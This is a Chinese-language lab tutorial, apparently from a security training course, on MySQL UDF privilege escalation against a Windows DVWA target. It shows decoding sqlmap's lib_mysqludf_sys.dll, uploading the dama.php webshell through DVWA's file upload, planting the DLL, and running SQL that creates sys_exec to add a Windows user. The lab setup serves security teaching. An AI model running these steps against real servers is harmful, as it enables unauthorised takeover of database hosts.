Mysql提权-基于Mysql的UDF提权(Windows系统)2

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

基于Mysql的UDF提权(Windows系统)2

【实验目的】

  通过本实验理解如何通过webshell结合sqlmap自带的dll文件对Windows系统进行UDF提权,熟悉UDF提权的主要方法。

攻击机:Kali-pri
用户名college,密码360College
webshell脚本:dama.php

目标靶机:Win2003-DVWA
用户名college,密码360College

【实验原理】

  UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就像使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。

【实验步骤】

  1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  2.将Kali系统中sqlmap自带的udf提权库文件进行解码。

  在Kali攻击机上,启动终端,依次输入如下命令:

  (1)sudo su

//切换到root用户

  (2)cd /usr/share/sqlmap/extra/cloak/

//进入cloak目录

  (3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/windows/32/lib_mysqludf_sys.dll_

//将lib_mysqludf_sys.dll_进行解码

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  解码后,在/usr/share/sqlmap/udf/mysql/windows/32目录下会生成一个名为“lib_mysqludf_sys.dll”的解码后的dll文件。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  3.在Kali攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。 网站的URL为:http://【靶机IP地址】/dvwa 登录用户名为admin,密码为password

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  4.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  5.选择网站左侧菜单“File Upload”,将Kali攻击机/usr路径下的dama.php(实验中所用的webshell)文件上传至靶机。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  6.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:

http://【靶机IP地址】/dvwa/hackable/uploads/dama.php

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  出现登录提示框时,输入密码hucyuansheng登录。

  7.成功登录dama.php后,选择左侧菜单“本地磁盘”->“本地磁盘(C:)”,利用dama.php在靶机C:/Program Files/phpStudy/MySQL/lib目录下创建名为plugin的文件夹。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  创建完成后,将Kali攻击机/usr/share/sqlmap/udf/mysql/windows/32路径下的lib_mysqludf_sys.dll文件上传至靶机C:/Program Files/phpStudy/MySQL/lib/plugin目录中。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  注意:上传的文件是解码后的lib_mysqludf_sys.dll,不是未解码的lib_mysqludf_sys.dll_ !

  8.仍然在dama.php主界面上,选择左侧菜单“提权工具”->“执行SQL执行”,在命令框中输入如下SQL命令:

  (1)create function sys_exec returns string soname ‘lib_mysqludf_sys.dll’;

  利用该命令创建sys_exec函数。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  (2)select sys_exec(‘net user admin34 admin34 /add’);

  利用创建的sys_exec函数执行系统命令,在靶机操作系统中添加用户admin34。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  9.在靶机上验证攻击效果:在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“admin34”。

Mysql提权-基于Mysql的UDF提权(Windows系统)2

  实验至此结束。

【思考与总结】

  通过本次实验,掌握了利用webshell结合sqlmap自带的dll文件对Windows系统进行UDF提权的方法。

上一篇:是否可以在Amazon RDS上使用MySQL UDF?


下一篇:mysql UDF提权 sys_bineval